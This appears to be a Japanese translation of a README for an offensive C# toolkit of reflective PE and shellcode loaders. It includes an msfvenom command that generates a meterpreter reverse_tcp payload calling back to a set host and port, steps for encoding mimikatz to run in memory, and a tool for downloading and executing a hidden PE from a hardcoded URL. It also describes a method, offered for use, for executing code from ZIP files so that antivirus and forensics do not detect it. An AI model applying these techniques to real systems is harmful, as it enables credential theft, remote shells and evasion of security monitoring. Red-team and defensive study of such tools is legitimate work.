
リフレクティブPEおよびシェルコードインジェクション、インメモリでのペイロード実行、XORブルートフォースによるシェルコード復号、.NETアセンブリ解析のためのC#攻撃スクリプト。
作者: Arno0x0x - @Arno0x0x
このリポジトリは、私のC#スクリプトの一部を公開することを目的としています。いくつかは、あちこちで見つけた他のスクリプトをフォークしたり参考にしたもので、自分のニーズに合わせて適応させたり、学習や改善のために手を加えたものです。
bfDecryptShellcode.cs
このスクリプトは少し単純で、おそらくあまり有用ではない、マルチバイトXOR暗号化されたシェルコードをブルートフォースで復号化するPoCです。シェルコードが復号化されると、メモリに読み込まれて実行されます。
使用するには、2つのものが必要です:
どちらも、私のShellcodeWrapperプロジェクトを使用し、任意のrawなmetasploitペイロードを渡すことで取得できます。
parseAssembly.cs
このコンソールアプリケーションは、.Netアセンブリ(exeまたはdll)を、ローカルファイルから、またはURLからダウンロードして動的に読み込みます(オプションでbase64エンコードも可能)。読み込まれると、その型、メソッド、プロパティを列挙します。
例:
parseAssembly.exe myAssembly.dll
または
parseAssembly.exe http://some.site.com/myAssembly base64
これは、Casey Smith(@subTee)による、呼び出し元プロセスへのPEまたはシェルコードのリフレクティブインジェクションに関する研究を、さまざまなソースから適応させたスクリプトのコレクションです。
peloader.cs
このスクリプトは、base64エンコードされたx64 PEファイル(例: MimikatzやMeterpreter)をプロセスのメモリに読み込み、リフレクティブに実行します。PEはファイルの先頭でbase64文字列変数として渡されます(はい、ハードコードされています)。
このbase64エンコードされた文字列は、以下の*nixコマンドラインを使用して任意のファイルから生成できます:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Windows マシンでスクリプトをコンパイルするには、.Net framework が必要です(Windows 7 以降ではデフォルトでインストールされています):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
このスクリプトはシェルコードをプロセスのメモリ内で実行し、リフレクティブに実行します。シェルコードは変数内のバイト配列として渡されます。この配列用の適切なコードは、Metasploitのmsfvenomユーティリティを使用して自動生成できます。例えば、reverse_tcp meterpreterシェルコードを生成するには次のようにします:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Windows マシンでスクリプトをコンパイルするには、.Net framework が必要です(Windows 7 以降ではデフォルトでインストールされています):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
このスクリプトは、Casey Smith(@subTee)によるNetkatzの研究に大きく、そして恥ずかしいほど依存し、触発され、派生したものです。
私は、自分の社用ワークステーション上のローカルアンチウイルス(McAfee)が、ZIPファイルの内容を分析しないように設定されていることを発見しました。おそらく、この内容を読み取ったり実行したりする際には通常まずディスク上のどこかに展開され、その時点で中に含まれる悪意のあるものはAVに検知されるという前提によるものでしょう。
このスクリプトが行うのは、すべてをメモリに読み込み、そこからのみ動作することであり、さらにリフレクションを用いて呼び出し元プロセスのメモリからPEを実行します。
したがって、AVはまったく反応しないだけでなく、フォレンジックの観点からも、唯一「目に見えて実行中のプロセス」は完全に無害に見えます。
Windowsマシン上でスクリプトをコンパイルするには、.Net frameworkが必要です(Windows 7以降ではデフォルトでインストールされています):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
次に、以下を実行できます:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
このスクリプトは、Casey Smith(@subTee)によるNetkatzの作業に大きく基づいており、そこから着想を得ています。
Netkatzは、GitHubから最新のmimikatzリリースを読み込み、それをメモリ上で直接実行するという素晴らしいPoCです。しかし、私の環境では3つの問題に直面しました:
そこで、これら3つの問題に対処するため、元のnetkatzスクリプトを修正しました:
隠されたPEをダウンロードするURLはスクリプト内にハードコードされています。
Windowsマシンでスクリプトをコンパイルするには、.Net frameworkが必要です(Windows 7以降ではデフォルトでインストールされています):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs